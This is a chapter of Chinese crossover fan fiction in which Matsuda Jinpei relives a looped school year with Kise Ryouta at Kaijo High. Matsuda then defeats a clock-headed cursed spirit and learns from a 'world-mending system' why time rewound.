那是个三米左右高、浑身青紫、头顶巨大时针与分针的怪物。
一个连人型都没有的怪物。
少年那双形状优美的眼睛睁得老大,瞳孔被刚刚扫过的场景震惊地不停震动。
他三拐两拐蹿进影音室内,这里的窗户比较大,可以容纳他这个身高的男生进出。
但是窗户打不开。
“可恶!”这位单手能把篮筐拽下的篮球部主将,用尽全身力气都无法推开往日可以轻松打开的窗户。
他又试着砸了几拳,玻璃纹丝未动。
门外突然传来什么东西拖地走的声音。
是那个怪物!
黄濑凉太抄起沙发上的篮球,躲在存放录像带的档案柜后面。预备那东西一进来,他就给它面门一球,然后再次夺门而出。
他浑身紧绷,心神专注地注意着门外的声音。
慢慢地,他的眼前有些模糊,大脑夜像是被灌了浆糊。
啊咧……好奇怪……我这是在哪里……?
好困……是到了该睡觉的时间吗?
……
黄发少年陷入一片柔软的黑暗。
======
日本的开学季在樱花盛开的季节。
可能正因为此,校园生活才会带上一层樱色的滤镜。
松田阵平伸手接过一片从窗外飘进来的樱花花瓣,眺望着远处操场上正活动的少年们。
口哨声和口号声在红棕色的跑道上此起彼伏,期间还夹杂着各种球类撞击地面的砰砰声,以及或高或低的交谈声。
微风卷起枝头的樱花,拂过楼下这一幕的青春。
松田阵平伫立在三楼连廊的落地窗前,安静地看着这十分平常但又令人怀念的画面。
“松田——”几米外传来一道清亮的声音,“快走啦,今天又是我们值日,不快点搞完去部活的话,我会被笠松前辈揍的。”
说话的是一个黄发的少年,他有着十分高挑的身材和俊美的面容。现在正在连廊拐角处朝卷发少年挥着手中的课本。
松田阵平低头将樱花瓣夹进手中拿着的化学课本中,转身朝黄发少年走去,懒洋洋地回到:“你要是化学实验少失败几次,我们现在已经做完值日了。”
黄濑凉太流出宽面条泪,咬着课本说:“高一刚开学一个月,化学实验步骤就有三页纸那么多,这谁能全部记住啊!”
松田阵平无奈揉了揉蓬松的卷发:“那种东西看上一两遍就会了吧。”
黄濑凉太抱怨:“那我就是不擅长动脑嘛。”
卷发少年露出半月眼。怎么感觉身边不爱动脑的体力派越来越多了。
他推开教室门,望了一眼挂在后面的时钟,对疾行到座位上收拾东西的黄发少年说到:“你能干多少是多少,时间到了就去参加部伙吧,剩下的我来做就好了。不过——”
黄濑凉太眼神亮晶晶地看他:“我懂我懂!下次麻衣酱她们再来给你送小饼干我会帮忙的!”
松田阵平弯了弯嘴角,露出
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了个满意的笑容。
在这方面,黄濑这小子和hagi一样好用啊。
关门、丢垃圾、去拳击部打卡,然后回家。
普通的一天就这么过去了。
这是第二十八天。
深夜的松田宅里,松田阵平躺在床上,在心中计数。
在迈进体育馆大门的一瞬间,他认为自己是进入了某个咒灵或者咒物的生得领域内。
可是他一睁眼,眼前出现的却是高一刚入学海常高校的场景。
是幻觉?
他不敢确定。
这里太真实了,无论是一花一木,还是他见过的每一个人,甚至是他吃的每一口饭菜、呼吸的每一口带着樱花气息的空气,全部真实的与现实世界无法区分。
他唯一能确定的,是这里还是在Z世界。
松田阵平握起拳头,抬到眼前,又松开拳头。
他能感受到身体里有咒力的存在,虽然微弱到无法控制,术式也没办法使用。
而且这里有黄濑凉太。
是咒灵/咒物的术式效果?还是他真的来到了一年前?
真的有咒灵/咒物能够掌握回溯时间这种级别的术式吗?
如果真是回溯时间类的术式,无法使用术式和咒力的他要如何破局?
还是说,要完整地度过这一年才可以?
松田阵平猛地朝空中挥了一拳。
走一步看一步好了,鬼东西早晚会露出马脚的。
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“我说你好歹也仔细一点吧。”松田阵平满脸不耐烦地用笔敲着桌子上的练习册,“这里好不容易用对了公式,为什么会计算错误啊!”
七月初,横滨某间咖啡馆内的一处卡座。卷发少年和黄发少年正在进行一对一教学辅导。
期间座位旁路过了多位女性,目光在接触到两名少年时都是猛地一亮,随即被卷发少年逐渐抬高的嗓门和狰狞的表情吓停了前去搭讪的脚步。
“啊——”黄濑凉太双手抱头狂搓头发,哀嚎,“数学真的好难啊!为什么我打球还要受期末考试成绩的限制啊!”
松田阵平抬起手中的笔敲在他的头上,脑门青筋直蹦:“还想参加今年全高的话,你就给我再认真一点。”
“呜呜小绿间和小黑子太无情啦,有滚滚铅笔的话,我就不用担心及格的问题了呜呜呜。”黄发少年丝毫没有池面的包袱,边流宽面条泪边用脸在桌子上滚来滚去。
松田阵平再次拿笔猛敲他的后脑勺:“别说傻话了,快起来学习。”
黄濑凉太从手臂中露出半张脸看他:“说起来松田你不是也要参加拳击的全高联赛吗?没关系吗?”
松田阵平挑了挑眉:“你以为我是你啊,高中这点知识我早就学会了。”
黄濑凉太:“不是指那个啦,是你的拳击比赛没问题吗?虽然知道你身手很好,但是你平时根本没怎么去拳击部练习吧。”
“这种程度的比赛而已,问题不大。而且我有在家练习,部里的人都太弱了。”松田阵平单手转笔,“另外,你怎么知道我身手很好的?”
“啊,这个啊。”黄发少年终于打起精神来,弯腰捡起掉在地上的笔准备重新开始学习,“开学一周左右,我有在校外看到你暴揍学校周边的暴走族哦。”
黄濑凉太眼睛亮晶晶地看着松田阵平:“一拳揍飞三个欸!超——厉害啊你!”
松田阵平挑了挑眉,嘴角弯起,手中的笔再次毫不留情地敲在对面少年的脑门正中:“夸我是没有用的,快点学习。”
黄濑凉太不满地揉了揉脑门:“啊——松田你这家伙真是的。”
12. 缝缝补补第十二针
全中拳击联赛对松田阵平来说确实十分简单。
哪怕没有咒力强化身体,凭借二十多年的经验,他还是十分轻松地拿到了单人组的冠军。
拒绝了同社团前辈们一起庆祝的邀约,松田阵平独自返校归还拳击防具。
如果不是担心没拿到比赛冠军有可能导致时间线和“并不存在的记忆”产生偏差,他是不会去参加这场比赛的。
还完了防具,卷发少年慢慢悠悠地往校外走去。
路过篮球部的体育馆时,他瞥见大门半开着。
松田阵平走过去,谨慎地推开这扇让他有点心理阴影的金属大门,进入馆内。
这次倒是没有再出现场景变换的情况。
球场内散落着数十个篮球,一名身着海常篮球部队服外套的黄发少年躺在篮球场边缘的长凳上。
少年灿烂的黄色头发几乎被汗浸湿,他抬起右臂,用小臂挡住眼睛,头发上的汗液顺着少年靠在脸庞的手滑落在地。
松田阵平走到长凳前,坐下,安静地抬头看着体育馆的屋顶。
两个人谁都没有说话。
大概过了十几分钟,松田阵平从长凳上站起来,提起背包背上。随即踹了一脚长凳的蹬腿:“走了,去吃饭。”
黄濑凉太抬起手臂,露出微微泛红的双眼瞥了松田阵平一眼:“松田也不知道安慰我一下。”
“安慰?你需要吗?”松田阵平挑了挑眉,笑了。
他又抬腿踹了长凳一脚:“别撒娇了,快起来,饿死了。”
黄濑凉太深吸一口气,猛地坐起来,大喊:“WinterCup我一定要把小青峰打败!”
松田阵平半月眼看他:“那你平时可要好好学习了,我记得WinterCup在下学期期末考试之后吧。”
黄发少年站起来,搭过卷发少年的肩:“那还要请松田老师多多照顾啦。”
松田阵平嫌弃地拨开他的手,向外走去:“我看你社团前辈给你辅导的文科也还不错,下次还是他们来吧。”
“前辈们还说让你下学期辅导我文科欸。”黄濑凉太追了几步:“啊——松田你等我下,我把球场打扫一下!”
夕阳斜斜地打在体育馆内,将地板上篮球的影子拉得老长。
这是第一百二十天。
======
“喂,黄濑,你要不要来跟我学拳击。”
体育课上,卷发少年和他的搭档黄发少年组队练习着排球垫球。
“欸——什么?”黄濑凉太看着飞在空中旋转的排球,发出疑问。
“总感觉你好像很容易受伤的样子,来练习下拳击能结实点。”松田阵平微微侧身,手臂并拢,接住落下来的球,又微一用力将其垫起。
“……我那只是训练和比赛强度太大了而已,以后会注意的啦。”黄濑凉太有些心虚,抬臂对着再次落下的排球猛地一垫。
“比起叫我去打拳击,你不如来打篮球啊!”篮球部主将突然眼睛一亮,窜到搭档面前双手握住他的肩膀。
“啊,歪了。”松田阵平被他干扰了一下,排球直冲黄发少年的脑门飞去。
“啊!好痛!”黄濑凉太被猛击面门,疼得他蹲在地上捂着脑门哀嚎。
松田阵平半月眼看他:“你看,我就说了你该来学下拳击。这样被球直击面门还可以一拳打出去。”
他那脑门遭受重击的搭档蹲在地上眼泪汪汪地抬头看他:“这种距离,再怎么学拳击也没法阻止吧!”
松田阵平看着他脑门上肿起来的大包,嘴角抽搐。他忍了又忍,最终还是不禁大笑了出来。
这是第二百零七天。
======
“哔——”
比赛结束的信号喇叭声响彻赛场,计分板上的数字最终停在“80:81”。
WinterCup半决赛,海常高校以一分之差惜败于诚凛高校。
站在观众席最后方的松田阵平俯视着场上用毛巾蒙着头、又被前辈架起的黄濑凉太,久久没有动作。
一群身着蓝白运动服的少年路过他,领头那个红发的少年侧脸瞥了松田阵平一眼,脚步没有停顿地离开了。
松田阵平看着一瘸一拐被前辈们扶着退场的黄濑凉太,抬手挠了挠头,轻啧一声,喃喃道:“明年全中没有我和前辈们给黄濑辅导功课,这小子不会真的被禁赛吧。”
这是第二百八十五天。
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“松田你未来是打算做拳击选手还是爆破专家啊?”物理实操课上,翘着一只伤脚的黄濑凉太翻着一叠资料,问身边专心致志组装电路的卷发少年,“呜哇!好复杂的结构!还是全英文!”
他手中的资料是松田阵平从某个秘密渠道获取到的国外某国家机构内部最新的拆弹资料。
“7号电阻。”松田阵平抬手,“就不能是拆弹专家吗。”
作为小组作业打杂工的黄濑凉太手忙脚乱的从一堆工具和零件中翻出7号电阻,递给他:“这两个有什么区别?”
“会组装炸弹不代表能安全高效的拆除炸弹。但是”松田阵平侧脸看了他一眼,扬眉,自信地笑了一下,“好的拆弹专家也一定是个好的炸弹客。”
这是第三百二十三天。
======
因为脚伤,被医生勒令停止两个月高强度训练的黄濑凉太,在百无聊赖之中重新拾起他的模特兼职。并且因为给某杂志拍的开年刊封面小火了一把,模特事业越做越红火,最近甚至接到了一档非常有名的综艺邀约。
“灵异探险?”
午休时分,海常某栋教学楼的楼顶,卷发少年与半个多月没见的友人边吃面包边晒太阳。
四月上旬,黄濑凉太被邀请前往欧洲拍摄写真集,去了半个月才回来。
“说是灵异探险,其实是整蛊类的综艺啦。”剪短了头发的黄发模特摆摆手。
松田阵平嚼着炒面面包,含糊地说:“你这是准备把兼职变全职了?”
“唔……最近发现这个职业也蛮有意思的,总之先干着吧。”黄濑凉太撕开一包新的红豆面包,大口咬下,“不过后面会减少工作量,这么繁忙的状态应该下周三就能结束啦。毕竟也是时候准备InterHigh了。”
似乎被红豆面包噎了下,他连忙从便利店口袋里翻出一盒牛奶,打开猛吸几口。
“你最近这个工作量确实挺离谱的。”松田阵平挑眉,“请假太多出勤率不够,小心老师直接给你挂科哦。”
“我经纪人一个上头就接了这么多工作了……”黄濑凉太尴尬地哈哈两声,“不过,说起来,我小时候的梦想是成为飞行员来着。”
松田阵平拿出一罐咖啡,单手拉开拉环:“想开飞机啊,我们有空可以一起去夏威夷那边学。”
黄濑凉太几口喝完牛奶,握拳:“好哦,等我拿了InterHigh冠军就去!”
松田阵平露出个坏笑:“小心因为期末考试不及格去不了InterHigh哦,那我只好自己一个人去夏威夷学开飞机了。”
黄濑凉太左右看了看,掏出便利店
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口袋中的金枪鱼饭团,双手捧着献给卷发少年:“松田老师,拜托啦!”
这是第三百七十八天。
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周三的晚上,海常篮球部专用的体育馆内。
黄发少年一手掐腰,一手指着球场上的众人:“前辈们!我回归啦哈哈哈!”
正在热身的中村真也无语:“你小子没请假出差的时候不是天天来吗?”
“真是的——前辈也太冷漠了吧。我可是一完成录制工作就赶回来训练了欸!”
体育馆内传来热闹的打闹声。
二楼,没有开灯的更衣室内。
一道健壮的身影突然开门闪了进来。
他打开一扇储物柜的柜门,从里面翻出一台黑色的手机,给机主常联系的一个号码发去了一条短讯,而后将手机静音。
不出一分钟,那个号码就打了进来。
黑影看着手机屏幕上不停闪烁的名字,脸上慢慢露出一道诡异的笑容。
打了几通电话没打通,那个号码似乎放弃了通过手机联络这边。
黑影又等了十几分钟,手机再无动静。
他伸出手指,删去了发送短讯和未接来电的记录,将手机关机,重新放回储物柜中。
而后一个闪身,从窗户爬了出去。
篮球部的少年们似乎打起了练习赛,体育馆内越发热闹。
无人发现刚刚在更衣室内发生的这一幕。
=======
第三百八十四天。
松田阵平坐在卧室的落地窗前,手中摆弄着一个被拆开又被拼起的小收音机。
还有五天。下周一,就是他进入这个“领域”的那一天。
那天晚上他要去海常的体育馆吗?
松田阵平握了握拳。还是没法调动咒力和术式。
他之前有尝试过联系或前往高专,但是中途被各种突发事件阻止。
大概是这个“领域”的意志在阻止他接触那边。
他脑内分析着行动计划,手里飞快地拆卸着刚被拼好的小收音机。
突然,放在桌上的手机屏幕亮了一下。
是黄濑凉太发来的短讯。
松田阵平点开短讯,没有任何文字,只有一个地址的定位。
定位是在东京的郊区。
松田阵平突然想起上周黄发模特说今天要去废弃医院拍摄灵异整蛊综艺。
真的是整蛊吗?
这个世界可是真的存在着极度危险的“鬼”。
他飞速拨打黄濑凉太的电话。
听筒里传来的只有嘟嘟声和提示无法接通的系统女声。
松田阵平打开窗户,从二楼一跃而下,跑到街边随手拦下一辆的士,让司机加速开往黄濑发来的那个地址。
松田阵平抱胸坐在后排,阴沉着脸,有些后悔自己明明知道咒灵的存在,却没有提高警惕。
不,等等。
这个地址是!
他再次打开手机,将地址输入地图导航应用。
的士刚刚驶出横滨中心城区,郊区的网络有些慢了。
手机正中的加载图标还在转圈,松田啧了一声,托着手机的手指不耐烦地敲打着侧边的外壳。
加载出来了!
手机屏幕上显示的地址名称是“私立安达高等学校”
——他来到Z世界的第一个地点!
松田阵平嘴角慢慢扬起一道笑容。
原来这场短途旅行的终点不是下周一。
而是今晚。
13. 缝缝补补第十三针
是夜,东京郊区的一所废弃学校门口,一辆的士在放下乘客后急速离开。
这位下车的乘客迎着今夜格外明亮的月光,抬头观察着面前这座死气沉沉的学校。
皎洁的月光洒在他蓬松的黑色卷发和略带几分青涩的英挺面容之上,竟显露出几分神圣之气。
松田阵平推开遍布灰尘的大门,踏入这个他与此方世界的初见之地。
门厅通往中央天井处的墙壁此时还没有遭受五条悟【苍】的攻击,尚且完好。
他停下脚步,转头看向一侧走廊。
那条走廊中间就是他初遇咒灵的地方。
他转身朝那里走去。
月光似乎比刚刚暗了些。
少年每踏出一步,都能感受到周围空气温度的下降。
但与之相反的,是他愈发明亮的眼睛和逐渐升温的热血。
一步、两步、三步……
他距离那里越来越近。
终于!
卷发少年停住了脚步。
他安静地站在这个他从灼眼火光中闭上眼后,又睁开眼睛的地方。
他沉下心神,专心致志地捕捉着周围的一切信息。
“咔——咔——”
这次回荡在耳边的,不再是水滴滴落的声音。而是表针转动的轻响。
在那里——!
松田阵平猛地回身,伸手捉住藏在他身后的东西。
那是一个高三米左右、浑身青紫、头顶巨大时针与分针的怪物。
被他紧握在手中的,是怪物头上的时针。
少年嘴角咧开一道笑容,眼睛中闪烁着猛兽捕猎时看到猎物的兴奋。
他腰腹向下一沉,整个人往下一压,抓住时针的手连带手臂跟着用力一扭。借着自重的力量,将怪物头上的时针折断开来。
就在时针断裂的一瞬间,因少年的动作而在空中剧烈波动的灰尘倏地停在原地,呈献出反击动势的怪物也僵在原地。整个空间与时间都停止了流转。
【缝补世界系统第7333次尝试连接成功。】
“哟,S君,”松田阵平丢掉手中折断的半截时针,跟脑内传来的声音打招呼,“既然是第7333次尝试连接了,你应该知道发生了什么吧。不跟我解释解释?”
【管理员S登录中……】
【管理员S登录成功。】
一道语气毫无波澜的声音在松田阵平脑海里响起。
【晚上好,松田君。】
松田阵平的表情突然变得有些古怪。
他刚刚才发现,这个S君的声音,和黄濑那个红头发的朋友好像。
“寒暄就不必了,你先回答我,这次回溯是你搞的还是那个咒灵搞的?”松田阵平抛开脑内的胡思乱想,直接问出他最关心的问题。
【不应该先问问是幻觉还是时间回溯吗。】
“是不是幻觉我还是能分辨出来的。”松田阵平哼笑一声。
【总的来说,这次时间回溯的原因,是咒灵碰触到了世界意志,触发了世界的自检与纠错机制。】
“世界意志?还有世界的自检与纠错机制?”松田阵平狐疑,“这破烂的Z世界要是有这东西,还需要我来缝补?”
【并非是Z世界的意志和自检与纠错机制,而是被它吞噬的其他世界的意志和自检与纠错机制。】
松田阵平表情一肃:“它已经吞噬过别的世界了?”
【据我所知,至少有两个世界被吞噬了。】
【被吞噬世界的能量会被Z世界吸收,而它残留的意志将会破碎,分散到被它关注的人身上。】
【姑且将这个被吞噬的世界称为B世界。】
【你那个黄头发的朋友就是被B世界关注的人之一。所以咒灵攻击他会触发残留的B世界意志的反击。】
【在B世界残留意志自检过程中,我强行灌入黄濑凉太脑海中的记忆被它识别为不安全源。】
【但是你的存在又是真实的。】
【所以,为了合理化那些记忆,它借助这个咒灵的术式与力量,将你们拉回了一年零一个月前。】
“所以,是真实存在的记忆啊……”松田阵平喃喃道。随即,他舔了舔有些干燥的嘴唇:“……所以,简单点说,就是你卡世界意志的BUG卡成功了?”
【……这么说也没错。】
“我懂了。”松田阵平摸了摸下巴,“我之前联系不上你和咒力失效也是因为这些在它眼里‘不合理’吗?”
【Z世界的松田阵平,在今晚才会拥有缝合世界系统和咒术能力。】
松田阵平:“那黄濑那小子应该安然无恙吧。”
【残留的B世界意志会保护他。】
松田阵平点点头:“还是得快点解决掉这边。”
【好的,咒力MOD重新加载并升级成功。松田君,加油。】
【再见。】
随着脑内那道平淡声音的消失,时空开始重新流转。
空中被定住的灰尘再次开始随着气流不停震动,怪物的冲击也直冲松田阵平面门而来。
卷发少年微一侧身,避过咒灵的攻击。
刹不住车的咒灵嘭地一声砸向走廊一侧的墙壁,溅起大量烟尘。
走廊中,烟雾弥漫,无数粉尘在空气中飞转。
松田阵平也感受到体内的咒力开始节节攀升,他睁大双眼,运转起咒力冲向眼睛。
凫青色的眼底慢慢浮现出金红色的碎光,如傍晚时分洒在粼粼海面上的日光。
看到了!
少年运起咒力涌向右臂,拳头带着亮蓝色的光击向三米高的咒灵。
黑红色的闪电在少年的拳头击中咒灵的瞬间爆开,咒灵青紫色的身躯被这颜色不详的能量撕裂开来,周围的走廊也一齐被撕开。
烟尘弥漫的废弃学校在松田阵平的视网膜上消失,取而代之的,是黑暗的体育馆篮球场。
松田阵平经常来这里,所以一眼就看出这里是海常篮球部专属的体育馆。
回来了吗。
他左右张望着。
黄濑那小子在哪里?不会被吓得哭着躲起来了吧。
卷发少年摸着黑走上侧边的楼梯。当他迈上二楼平台时,右脚好像踢到了什么东西。
他低头一看,是一个时针断裂的钟表,看风格,像是大正年代的东西。
松田阵平挑挑眉,捡起那个东西。
刚刚那个咒灵所化的咒物?
他摸着下巴沉思了一会。
他还没自学到怎么封印咒灵和咒物,现在怎么处理这个东西呢,直接祓除?
感觉有些浪费。
啊,有了。
松田阵平的眼底再次浮现出碎金之色。
他手中的时钟慢慢变成一个黑色的球状物。
还好见过夏油杰把咒
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灵化成咒灵玉,还蛮简单的嘛。
就是用咒力将咒灵本身的炸弹结构改造成咒灵玉的炸弹结构。
不知到夏油吃掉这个能不能收服那个咒灵,那个咒灵的能量虽然被残留的世界意志榨得差不多了,但是回溯时间类的能力还是非常有用的。
回去塞夏油嘴里试试好了。
他抛了抛手中的咒灵玉,继续往二楼走廊深处走去。
最后是在影音室的沙发上找到的黄濑凉太。
只有一米五长的沙发实在是容纳不下一米九长的篮球部主将,黄濑凉太的小腿支在沙发外,怀里抱着一枚篮球,睡得十分安详。
松田阵平无语地看着他睡得红扑扑的脸,抬腿踹了沙发一脚:“喂,黄濑,别睡了,快起来。”
“唔……这个感觉……果然是你啊,小松田。”黄发池面慢悠悠地睁开一只眼,抬起手揉了揉头发,睡眼惺忪地跟友人打招呼。
松田阵平又踹了沙发一脚:“这个称呼是怎么回事,睡懵了你。”
黄濑凉太放开怀里的篮球,慢慢地坐起来,打了个哈欠:“唔,好像做了个好长的梦,醒来就想改下对你的称呼了。”
松田阵平顿了一下,转身朝外走去:“随你吧。走了。”
黄濑凉太赶紧起来跟上:“啊,等我下,要一起去吃东西吗?”
二人走出影音室,路过门半掩着的更衣室。
嘴里不停说着最近新开的店哪家味道不错的黄濑凉太瞥了一眼箱翻柜倒的更衣室,动作突然卡了一下。
恐怖的记忆终于回到了刚睡醒有些懵的少年脑海里。
黄濑凉太瞪大双眼,猛地抓住松田阵平的手:“小松田!这里有——”
松田阵平沉声打断他:“那是刚刚被风吹倒的。”
“啊?”黄濑凉太嘴巴和脑袋同时卡住。
“走吧,不是说去吃烧鸟吗。”卷发少年反手拉住他的胳膊,强行带着他往校外走去。
于是,今天脑容量有点爆炸的小模特,就这么懵懵懂懂地被友人拉去吃了烧鸟宵夜,又被安全送了回家。
松田阵平提着一袋子外带的准备做早饭的烧鸟串,打开了自家的大门。
洗完澡出来,手机提示有几十条未读短讯。
一眼望去,全都是黄濑凉太发来的。
他擦着头发,点开最上面的几条。
黄濑凉太:小松田你竟然开始糊弄我了!今晚体育馆里绝对有什么吧!
他平时也没少糊弄你。
黄濑凉太:你在那个宗教类学校不会学的是什么驱魔或者阴阳术吧!
不是,他在学习怎么用物理学中的电学、力学和机械学解决人类负面情绪产生的各种副作用。
黄濑凉太:小松田你别以为装作没看到就可以当做什么都没发生了!
黄濑凉太:呜哩哇啦瓦力哇啦……×N
看了半天还没看完的松田阵平不耐烦地丢开手机。
说起来,好像忘记了什么事情。
他拉开房间通往小阳台的玻璃门,想要去吹吹风醒醒脑。
一双被灰色长裤包裹着的长腿突然出现在少年的视野里。
落到阳台栏杆上的白发少年曲起腿,在金属扶手上蹲下来,语气幽幽地冲卷发少年打招呼:“哟,这不是发紧急联络把人家喊过来,结果又把人家抛在脑后,消息都不回。自己却和黄毛去吃宵夜的‘小松田’吗。”